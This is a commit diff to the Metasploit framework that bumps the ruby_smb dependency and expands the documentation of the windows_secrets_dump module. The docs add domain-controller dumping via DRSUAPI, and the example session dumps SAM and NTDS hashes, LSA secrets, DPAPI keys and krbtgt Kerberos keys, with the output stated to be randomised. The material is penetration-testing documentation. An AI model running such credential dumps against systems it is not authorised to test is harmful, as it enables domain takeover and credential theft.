Land #15924, Updates to Windows Secrets Dump
This commit is contained in:
commit
d0417f60bd
|
@ -73,7 +73,7 @@ PATH
|
|||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb (~> 2.0)
|
||||
ruby_smb (~> 3.0)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
|
@ -432,7 +432,7 @@ GEM
|
|||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (2.0.13)
|
||||
ruby_smb (3.0.0)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
|
|
|
@ -3,16 +3,21 @@
|
|||
The `windows_secrets_dump` auxiliary module dumps SAM hashes and LSA secrets
|
||||
(including cached creds) from the remote Windows target without executing any
|
||||
agent locally. First, it reads as much data as possible from the registry and
|
||||
then save the hives locally on the target (%SYSTEMROOT%\\random.tmp).
|
||||
then save the hives locally on the target (`%SYSTEMROOT%\\random.tmp`).
|
||||
Finally, it downloads the temporary hive files and reads the rest of the data
|
||||
from it. These temporary files are removed when it's done.
|
||||
|
||||
On domain controllers, secrets from Active Directory is extracted using [MS-DRDS]
|
||||
DRSGetNCChanges(), replicating the attributes we need to get SIDs, NTLM hashes,
|
||||
groups, password history, Kerberos keys and other interesting data. Note that
|
||||
the actual `NTDS.dit` file is not downloaded. Instead, the Directory
|
||||
Replication Service directly asks Active Directory through RPC requests.
|
||||
|
||||
This modules takes care of starting or enabling the Remote Registry service if
|
||||
needed. It will restore the service to its original state when it's done.
|
||||
|
||||
This is a port of the great Impacket `secretsdump.py` code written by Alberto
|
||||
Solino. Note that the `NTDS.dit` technique has not been implement yet. It will
|
||||
be done in a next iteration.
|
||||
Solino.
|
||||
|
||||
### Setup
|
||||
A privileged user is required to run this module, typically a local or domain
|
||||
|
@ -40,137 +45,275 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
|
|||
## Options
|
||||
Apart from the standard SMB options, no other specific options are needed.
|
||||
|
||||
## Actions
|
||||
|
||||
### ALL
|
||||
This dumps everything (SAM hashes, Cache data, LSA secrets and DOMAIN info).
|
||||
This is the default action.
|
||||
|
||||
### SAM
|
||||
This only dumps the SAM hashes.
|
||||
|
||||
### CACHE
|
||||
This only dumps the Cached data.
|
||||
|
||||
### LSA
|
||||
This only dumps the LSA secrets.
|
||||
|
||||
### DOMAIN
|
||||
This only dumps the NTDS.dit secrets from Active Directory (credentials,
|
||||
password history, Kerberos keys, etc.).
|
||||
|
||||
## Scenarios
|
||||
The data shown below has been altered with random data to avoid exposing
|
||||
sensitive information.
|
||||
|
||||
### Windows 10 Version 1809
|
||||
### Windows Server 2012 (Domain Controller)
|
||||
```
|
||||
msf6 > use auxiliary/gather/windows_secrets_dump
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > options
|
||||
|
||||
Module options (auxiliary/gather/windows_secrets_dump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RHOSTS 192.168.100.123 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass no The password for the specified username
|
||||
SMBUser no The username to authenticate as
|
||||
SMBPass 123456 no The password for the specified username
|
||||
SMBUser msfuser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ALL Dump everything
|
||||
|
||||
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.68.43.12
|
||||
RHOSTS => 192.68.43.12
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > set SMBUser msfuser
|
||||
SMBUser => msfuser
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > set SMBPass mypasswd
|
||||
SMBPass => mypasswd
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > run
|
||||
[*] Running module against 192.68.43.12
|
||||
[*] Running module against 192.168.100.123
|
||||
|
||||
[*] 192.68.43.12:445 - Service RemoteRegistry is in stopped state
|
||||
[*] 192.68.43.12:445 - Starting service...
|
||||
[*] 192.68.43.12:445 - Retrieving target system bootKey
|
||||
[+] 192.68.43.12:445 - bootKey: 0x3d354aa5e14d4360a1cc378a9e47338c
|
||||
[*] 192.68.43.12:445 - Saving remote SAM database
|
||||
[*] 192.68.43.12:445 - Dumping SAM hashes
|
||||
[*] 192.68.43.12:445 - Password hints:
|
||||
[*] 192.168.100.123:445 - Service RemoteRegistry is in stopped state
|
||||
[*] 192.168.100.123:445 - Starting service...
|
||||
[*] 192.168.100.123:445 - Retrieving target system bootKey
|
||||
[+] 192.168.100.123:445 - bootKey: 0x8f52b915365487d0b2005d3e6ae6eb2b
|
||||
[*] 192.168.100.123:445 - Saving remote SAM database
|
||||
[*] 192.168.100.123:445 - Dumping SAM hashes
|
||||
[*] 192.168.100.123:445 - Password hints:
|
||||
No users with password hints on this system
|
||||
[*] 192.68.43.12:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b7759c83c817e8b0082fb322bce0073b:::
|
||||
msfuser:1001:aad3b435b51404eeaad3b435b51404ee:035ad5f5a5c251c6fc3ba367bee86858:::
|
||||
[*] 192.68.43.12:445 - Saving remote SECURITY database
|
||||
[*] 192.68.43.12:445 - Decrypting LSA Key
|
||||
[*] 192.68.43.12:445 - Dumping LSA Secrets
|
||||
[*] 192.168.100.123:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:958be10a71d239e318078816aa929d08:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:84c140afd4e203cc90a977580e78f768:::
|
||||
[*] 192.168.100.123:445 - Saving remote SECURITY database
|
||||
[*] 192.168.100.123:445 - Decrypting LSA Key
|
||||
[*] 192.168.100.123:445 - Dumping LSA Secrets
|
||||
$MACHINE.ACC
|
||||
MYDOMAIN\MYDESKTOP$:aes256-cts-hmac-sha1-96:8f84e173f9a44708b56806e3d5ee9fa4d21c8edd0da7d29d64cf6122de399b07
|
||||
MYDOMAIN\MYDESKTOP$:aes128-cts-hmac-sha1-96:324719fca31fb90274acbd0bf07abf00
|
||||
MYDOMAIN\MYDESKTOP$:des-cbc-md5:7561afef18d6e7bb
|
||||
MYDOMAIN\MYDESKTOP$:aad3b435b51404eeaad3b435b51404ee:0cb18b83ab17e808b6604175784e8ec2:::
|
||||
MYLAB\WIN-340ED5H7S8$:plain_password_hex:b4ac4211cc8ec3f63cf005590bb06aad9c7bd5576ae57b21843d8973b5c208e0ad39b1c7f574d50be9c36fcd379315fccfae3d334364f19df40929b75d7592bf5df715318e2796e68fa59259017ee80b06bc1ac140fb14402c032273101488ab8a0868e90b9ec4e94b73e2b51a6bf9de518474e0cef7f1c7f8f38a575a2bb253dd97ffc0373b6c591cc66acf78ac77da42282291f77b8f4aef0ef9c5e293351caee2dec7c282106603b9d6e2618110394abc1182ae66b3777b738742c087e671e659e547bc45d7fc887407cf89517a4d51bff56f9a31c270037df1a7b80eba0926825a58ae0ee9878ab355cd4062d0b9
|
||||
MYLAB\WIN-340ED5H7S8$:aes256-cts-hmac-sha1-96:90f28a5df2b417c96ca2fa18676f3735c4a697b94005378664169f96778400bb
|
||||
MYLAB\WIN-340ED5H7S8$:aes128-cts-hmac-sha1-96:5895d4b7a9400f1d6565c1989320a1c6
|
||||
MYLAB\WIN-340ED5H7S8$:des-cbc-md5:638a17d7c3480c12
|
||||
MYLAB\WIN-340ED5H7S8$:aad3b435b51404eeaad3b435b51404ee:2abda1b5b936ed310fa624d6afbc4c52:::
|
||||
|
||||
DefaultPassword
|
||||
(Unknown User): FOO$000
|
||||
|
||||
DPAPI_SYSTEM
|
||||
dpapi_machinekey: 0xa197fe18d264c79b0996b3a987fcd6ea3b6191a6
|
||||
dpapi_userkey: 0xab025408f16dc46e6ba79a559751ea4890daf97b
|
||||
|
||||
L$ASP.NETAutoGenKeysV44.0.30319.0
|
||||
09 5a a2 cf 23 a2 09 ee 4e 55 7b e4 53 98 5c 6c |.Z..#...NU{.S.\l|
|
||||
6d cb 41 00 c8 18 4a 58 95 15 c6 56 98 fe da 79 |m.A...JX...V...y|
|
||||
71 d8 43 50 6f 23 f7 0b b9 97 50 d8 b2 a4 4c c9 |q.CPo#....P...L.|
|
||||
43 e6 45 23 ec ec 43 72 8c 1f 50 ad 52 a2 64 92 |C.E#..Cr..P.R.d.|
|
||||
4a 03 8e be b6 fc 85 4b 65 e3 d0 c7 66 34 0b 14 |J......Ke...f4..|
|
||||
13 ae e7 13 c8 25 6b f1 be 55 a4 fe de fa 4b 1d |.....%k..U....K.|
|
||||
0a f5 4d 68 ea 3c 3b 65 d1 69 eb 70 5b 7d 35 1c |..Mh.<;e.i.p[}5.|
|
||||
97 d6 e0 d1 15 65 4e 52 dc 1e 11 9e 35 6a 82 59 |.....eNR....5j.Y|
|
||||
30 98 e1 d2 64 0e 2c 2b 4c dd e6 fd 02 36 21 c1 |0...d.,+L....6!.|
|
||||
54 e0 18 7c e0 56 ee 25 4b ab b9 75 70 d2 cf c9 |T..|.V.%K..up...|
|
||||
38 8e 06 20 31 75 ca 52 d3 9f 6d 99 80 9c f1 ab |8.. 1u.R..m.....|
|
||||
56 51 e3 de 62 be d4 bb ce f7 6b 9c f5 88 74 a7 |VQ..b.....k...t.|
|
||||
54 29 51 47 3b e2 9b 7a |T)QG;..z|
|
||||
Hex string: 095aa2cf23a209ee4e557be453985c6c6dcb4100c8184a589515c65698feda7971d843506f23f70bb99750d8b2a44cc943e64523ecec43728c1f50ad52a264924a038ebeb6fc854b65e3d0c766340b1413aee713c8256bf1be55a4fedefa4b1d0af54d68ea3c3b65d169eb705b7d351c97d6e0d115654e52dc1e119e356a82593098e1d2640e2c2b4cdde6fd023621c154e0187ce056ee254babb97570d2cfc9388e06203175ca52d39f6d99809cf1ab5651e3de62bed4bbcef76b9cf58874a7542951473be29b7a
|
||||
dpapi_machinekey: 0xec969866a5bf6bd74f50c790536e58f8cd45da24
|
||||
dpapi_userkey: 0xc67ad895123894e9d5d5efd0cf84c00b618cc48e
|
||||
|
||||
NL$KM
|
||||
40 76 27 cd 14 f9 b3 6e a5 19 fd 03 bd c7 d9 99 |@v'....n........|
|
||||
f2 b0 91 78 44 80 e7 b3 7d b6 4f 26 0a 61 8c 6f |...xD...}.O&.a.o|
|
||||
c5 20 e2 65 de ef 98 13 92 e8 db c9 51 3b 5a c2 |. .e........Q;Z.|
|
||||
fd 19 66 e6 e9 cd 4f 11 ec 08 82 1b 16 be 41 38 |..f...O.......A8|
|
||||
Hex string: 407627cd14f9b36ea519fd03bdc7d999f2b091784480e7b37db64f260a618c6fc520e265deef981392e8dbc9513b5ac2fd1966e6e9cd4f11ec08821b16be4138
|
||||
75 31 51 ae 2c 00 3c aa ff 73 db 34 46 c2 93 06 |u1Q.,.<..s.4F...|
|
||||
81 85 02 41 02 ad 1b bd 2f 18 e3 4c b4 a7 c4 8a |...A..../..L....|
|
||||
3c 0f d4 29 74 91 a3 08 60 e4 41 1b 84 e8 0e 68 |<..)t...`.A....h|
|
||||
67 7a 69 31 b0 e5 1e f9 e1 a6 f5 53 95 12 c3 47 |gzi1.......S...G|
|
||||
Hex string: 2a2b513771a2bebc7395ee9648dd7a5e771d52bac713c6edd28f32b3f9259516ca19f562d7f633f55a02dd7f6d4471b7f66ae539327c64fd3c49cdbb267417e1
|
||||
|
||||
[*] 192.68.43.12:445 - Decrypting NL$KM
|
||||
[*] 192.68.43.12:445 - Dumping cached hashes
|
||||
[*] 192.68.43.12:445 - Hashes are in 'mscash2' format
|
||||
MYDOMAIN/msfuser:$DCC2$10240#msfuser#86d8081dd11a232080037a83f2165732:MYDOMAIN.INTERNAL:MYDOMAIN
|
||||
[*] 192.168.100.123:445 - Decrypting NL$KM
|
||||
[*] 192.168.100.123:445 - Dumping cached hashes
|
||||
No cached hashes on this system
|
||||
[*] 192.168.100.123:445 - Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
|
||||
[*] 192.168.100.123:445 - Using the DRSUAPI method to get NTDS.DIT secrets
|
||||
# SID's:
|
||||
MYLAB\Administrator: S-1-5-21-413541012-3457123-5043211362-500
|
||||
MYLAB\Guest: S-1-5-21-413541012-3457123-5043211362-501
|
||||
MYLAB\krbtgt: S-1-5-21-413541012-3457123-5043211362-502
|
||||
MYLAB\msfuser: S-1-5-21-413541012-3457123-5043211362-1105
|
||||
MYLAB\test: S-1-5-21-413541012-3457123-5043211362-1110
|
||||
MYLAB\WIN-340ED5H7S8$: S-1-5-21-413541012-3457123-5043211362-1001
|
||||
MYLAB\DESKTOP-EQR2M7J$: S-1-5-21-413541012-3457123-5043211362-1104
|
||||
MYLAB\WIN-K1F52W6Q3T1$: S-1-5-21-413541012-3457123-5043211362-1107
|
||||
MYLAB\WIN-51S22F6Q7TW$: S-1-5-21-413541012-3457123-5043211362-1109
|
||||
MYLAB\WIN2003X86$: S-1-5-21-413541012-3457123-5043211362-1602
|
||||
|
||||
[*] 192.68.43.12:445 - Cleaning up...
|
||||
[*] 192.68.43.12:445 - Stopping service RemoteRegistry...
|
||||
# NTLM hashes:
|
||||
MYLAB\Administrator:500:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:::
|
||||
MYLAB\Guest:501:aad3b435b51404eeaad3b435b51404ee:0b133f7d7a06732dbb9be367f1123542:::
|
||||
MYLAB\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06b220fae92049837807f2398d2c4d7e:::
|
||||
MYLAB\msfuser:1105:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:::
|
||||
MYLAB\test:1110:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:::
|
||||
MYLAB\WIN-340ED5H7S8$:1001:aad3b435b51404eeaad3b435b51404ee:9d58c33fe9fe500125a9b72b51c4b5b5:::
|
||||
MYLAB\DESKTOP-EQR2M7J$:1104:aad3b435b51404eeaad3b435b51404ee:2d634718372014e58f1cb37e51954e78:::
|
||||
MYLAB\WIN-K1F52W6Q3T1$:1107:aad3b435b51404eeaad3b435b51404ee:14ca1e6a9f228e586c416a3d4c787892:::
|
||||
MYLAB\WIN-51S22F6Q7TW$:1109:aad3b435b51404eeaad3b435b51404ee:81d8d1901fc651b09a9654f695e4ff7c:::
|
||||
MYLAB\WIN2003X86$:1602:aad3b435b51404eeaad3b435b51404ee:6ded122fc7e0505a3b3f8286d9131c4c:::
|
||||
|
||||
# Full pwdump format:
|
||||
MYLAB\Administrator:500:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108100936,LastLogonTimestamp=202109271034,IsAdministrator=true,IsDomainAdmin=true,IsEnterpriseAdmin=true::
|
||||
MYLAB\Guest:501:aad3b435b51404eeaad3b435b51404ee:0b133f7d7a06732dbb9be367f1123542:Disabled=true,Expired=false,PasswordNeverExpires=true,PasswordNotRequired=true,PasswordLastChanged=never,LastLogonTimestamp=never,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06b220fae92049837807f2398d2c4d7e:Disabled=true,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202106091817,LastLogonTimestamp=never,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\msfuser:1105:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202106100950,LastLogonTimestamp=202109271329,IsAdministrator=true,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\test:1110:aad3b435b51404eeaad3b435b51404ee:6a2e4f12c8962251d42e8413d9a145bd:Disabled=false,Expired=true,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108121626,LastLogonTimestamp=never,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\WIN-340ED5H7S8$:1001:aad3b435b51404eeaad3b435b51404ee:9d58c33fe9fe500125a9b72b51c4b5b5:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202109241046,LastLogonTimestamp=202109241046,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\DESKTOP-EQR2M7J$:1104:aad3b435b51404eeaad3b435b51404ee:2d634718372014e58f1cb37e51954e78:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108101043,LastLogonTimestamp=202108101043,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\WIN-K1F52W6Q3T1$:1107:aad3b435b51404eeaad3b435b51404ee:14ca1e6a9f228e586c416a3d4c787892:Disabled=true,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202108091014,LastLogonTimestamp=202108091014,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\WIN-51S22F6Q7TW$:1109:aad3b435b51404eeaad3b435b51404ee:81d8d1901fc651b09a9654f695e4ff7c:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202109281101,LastLogonTimestamp=202109281101,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
MYLAB\WIN2003X86$:1602:aad3b435b51404eeaad3b435b51404ee:6ded122fc7e0505a3b3f8286d9131c4c:Disabled=false,Expired=false,PasswordNeverExpires=false,PasswordNotRequired=false,PasswordLastChanged=202109291610,LastLogonTimestamp=202109291610,IsAdministrator=false,IsDomainAdmin=false,IsEnterpriseAdmin=false::
|
||||
|
||||
# Account Info:
|
||||
## CN=Administrator,CN=Users,DC=mylab,DC=local
|
||||
- Administrator: true
|
||||
- Domain Admin: true
|
||||
- Enterprise Admin: true
|
||||
- Password last changed: 2021-08-10 09:36:31 UTC
|
||||
- Last logon: 2021-09-27 10:34:20 UTC
|
||||
- Account disabled: false
|
||||
- Computer account: false
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=Guest,CN=Users,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: never
|
||||
- Last logon: never
|
||||
- Account disabled: true
|
||||
- Computer account: false
|
||||
- Expired: false
|
||||
- Password never expires: true
|
||||
- Password not required: true
|
||||
## CN=krbtgt,CN=Users,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-06-09 18:17:48 UTC
|
||||
- Last logon: never
|
||||
- Account disabled: true
|
||||
- Computer account: false
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=msfuser,CN=Users,DC=mylab,DC=local
|
||||
- Administrator: true
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-06-10 09:50:47 UTC
|
||||
- Last logon: 2021-09-27 13:29:04 UTC
|
||||
- Account disabled: false
|
||||
- Computer account: false
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=Test Foo,CN=Users,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-08-12 16:26:34 UTC
|
||||
- Last logon: never
|
||||
- Account disabled: false
|
||||
- Computer account: false
|
||||
- Expired: true
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=WIN-340ED5H7S8,OU=Domain Controllers,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-09-24 10:46:19 UTC
|
||||
- Last logon: 2021-09-24 10:46:19 UTC
|
||||
- Account disabled: false
|
||||
- Computer account: true
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=DESKTOP-EQR2M7J,CN=Computers,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-08-10 10:43:17 UTC
|
||||
- Last logon: 2021-08-10 10:43:17 UTC
|
||||
- Account disabled: false
|
||||
- Computer account: true
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=WIN-K1F52W6Q3T1,CN=Computers,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-08-09 10:14:39 UTC
|
||||
- Last logon: 2021-08-09 10:14:39 UTC
|
||||
- Account disabled: true
|
||||
- Computer account: true
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=WIN-51S22F6Q7TW,CN=Computers,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-09-28 11:01:18 UTC
|
||||
- Last logon: 2021-09-28 11:01:18 UTC
|
||||
- Account disabled: false
|
||||
- Computer account: true
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
## CN=WIN2003X86,CN=Computers,DC=mylab,DC=local
|
||||
- Administrator: false
|
||||
- Domain Admin: false
|
||||
- Enterprise Admin: false
|
||||
- Password last changed: 2021-09-29 16:10:48 UTC
|
||||
- Last logon: 2021-09-29 16:10:56 UTC
|
||||
- Account disabled: false
|
||||
- Computer account: true
|
||||
- Expired: false
|
||||
- Password never expires: false
|
||||
- Password not required: false
|
||||
|
||||
# Password history:
|
||||
|
||||
# Kerberos keys:
|
||||
MYLAB\Administrator:aes256-cts-hmac-sha1-96:058c9987a38ad78866470144eccc90693206bef1b29ef0ef2175f89af61cb2a0
|
||||
MYLAB\Administrator:aes128-cts-hmac-sha1-96:c6ad3b805f833825986d0ac34e0f0858
|
||||
MYLAB\Administrator:des-cbc-md5:9b86a5602257f19c
|
||||
MYLAB\krbtgt:aes256-cts-hmac-sha1-96:a4d8fa9750a53569f003b250ecb55a3e4754e9e1e39c82fc373dfa7755e51860
|
||||
MYLAB\krbtgt:aes128-cts-hmac-sha1-96:cde0828d4c759db5195d5b446df27d5a
|
||||
MYLAB\krbtgt:des-cbc-md5:e1a9fdabc87fc7fc
|
||||
MYLAB\msfuser:aes256-cts-hmac-sha1-96:580b30f097e5f2267502fbfb7038b7d34ed409bf5f043046a6d75372f4748c33
|
||||
MYLAB\msfuser:aes128-cts-hmac-sha1-96:ca2c4e745e288a59ba17c2070500f1d0
|
||||
MYLAB\msfuser:des-cbc-md5:ba53b946595b3176
|
||||
MYLAB\test:aes256-cts-hmac-sha1-96:373f317dcfe7f2293ec881fc1665ca61641122f113e61e228c4484fb7db258df
|
||||
MYLAB\test:aes128-cts-hmac-sha1-96:f6e104637495f01efaab2b1a2837918e
|
||||
MYLAB\test:des-cbc-md5:2a27b26587ecf324
|
||||
MYLAB\WIN-340ED5H7S8$:aes256-cts-hmac-sha1-96:bff8719d09c6f61f8576298c3a5ce00449fa86fc465896b8e0c65b13be04df27
|
||||
MYLAB\WIN-340ED5H7S8$:aes128-cts-hmac-sha1-96:df3013df51167b8c988979bcbbb9aad4
|
||||
MYLAB\WIN-340ED5H7S8$:des-cbc-md5:8da9946eedeb4c82
|
||||
MYLAB\DESKTOP-EQR2M7J$:aes256-cts-hmac-sha1-96:b6b0e92ae339cb75babed5d1208cf931f499e69e87cf2147a4712416ffc6f554
|
||||
MYLAB\DESKTOP-EQR2M7J$:aes128-cts-hmac-sha1-96:8481edf93ce4ca794d1de03bb00e4940
|
||||
MYLAB\DESKTOP-EQR2M7J$:des-cbc-md5:1ca4baae341a6c8f
|
||||
MYLAB\WIN-K1F52W6Q3T1$:aes256-cts-hmac-sha1-96:b57511524ba578a836dc11751070d310d959dd29c6a5a9d46018f26e0d9cf6a8
|
||||
MYLAB\WIN-K1F52W6Q3T1$:aes128-cts-hmac-sha1-96:2ff7e707a2bcbaaba22ee4e633d1cce5
|
||||
MYLAB\WIN-K1F52W6Q3T1$:des-cbc-md5:93f42858f59c07f2
|
||||
MYLAB\WIN-51S22F6Q7TW$:aes256-cts-hmac-sha1-96:01a3e2f3a502324146bd2617961dc5e07e1406eadc3aa5cf97e44843f6773e88
|
||||
MYLAB\WIN-51S22F6Q7TW$:aes128-cts-hmac-sha1-96:f03d11faf242766cd08dd7aea5c7bbcc
|
||||
MYLAB\WIN-51S22F6Q7TW$:des-cbc-md5:37ee33c8fd401430
|
||||
MYLAB\WIN2003X86$:aes256-cts-hmac-sha1-96:a678f096c08c570385a107bdc45184e47366a3ccbdb5333644c548f58d4d6b3c
|
||||
MYLAB\WIN2003X86$:aes128-cts-hmac-sha1-96:ff2d54f76093a7641b6825df28203543
|
||||
MYLAB\WIN2003X86$:des-cbc-md5:7cfa87f92422ea78
|
||||
|
||||
# Clear text passwords:
|
||||
[*] 192.168.100.123:445 - Cleaning up...
|
||||
[*] 192.168.100.123:445 - Stopping service RemoteRegistry...
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > hosts
|
||||
|
||||
Hosts
|
||||
=====
|
||||
|
||||
address mac name os_name os_flavor os_sp purpose info comments
|
||||
------- --- ---- ------- --------- ----- ------- ---- --------
|
||||
192.68.43.12 MYDESKTOP Unknown device
|
||||
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
192.68.43.12 445 tcp smb open Module: auxiliary/gather/windows_secrets_dump, last negotiated version: SMBv3 (dialect = 0x0311)
|
||||
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\msfuser MYDOMAIN/msfuser:$DCC2$10240#msfuser#86d8081dd11a232080037a83f2165732:MYDOMAIN.INTE (TRUNCATED) MYDOMAIN Nonreplayable hash mscash2
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) Guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) Administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) WDAGUtilityAccount aad3b435b51404eeaad3b435b51404ee:b7759c83c817e8b0082fb322bce0073b NTLM hash nt,lm
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) msfuser aad3b435b51404eeaad3b435b51404ee:035ad5f5a5c251c6fc3ba367bee86858 NTLM hash nt,lm
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ aad3b435b51404eeaad3b435b51404ee:0cb18b83ab17e808b6604175784e8ec2 MYDOMAIN NTLM hash nt,lm
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ MYDOMAIN\MYDESKTOP$:aes256-cts-hmac-sha1-96:8f84e173f9a44708b56806e3d5ee9fa4d21c8ed (TRUNCATED) MYDOMAIN Password
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ MYDOMAIN\MYDESKTOP$:aes128-cts-hmac-sha1-96:324719fca31fb90274acbd0bf07abf00 MYDOMAIN Password
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) MYDOMAIN\MYDESKTOP$ MYDOMAIN\MYDESKTOP$:des-cbc-md5:7561afef18d6e7bb MYDOMAIN Password
|
||||
192.68.43.12 192.68.43.12 445/tcp (smb) DefaultAccount aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
|
||||
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > notes
|
||||
|
||||
Notes
|
||||
=====
|
||||
|
||||
Time Host Service Port Protocol Type Data
|
||||
---- ---- ------- ---- -------- ---- ----
|
||||
2020-08-13 12:20:16 UTC 192.68.43.12 smb 445 tcp host.boot_key "3d354aa5e14d4360a1cc378a9e47338c"
|
||||
2020-08-13 12:20:20 UTC 192.68.43.12 smb 445 tcp host.lsa_key "0483f343addb39221136da0a0f52397aef02e6ee5d8bd05d49390ab97e05dc45"
|
||||
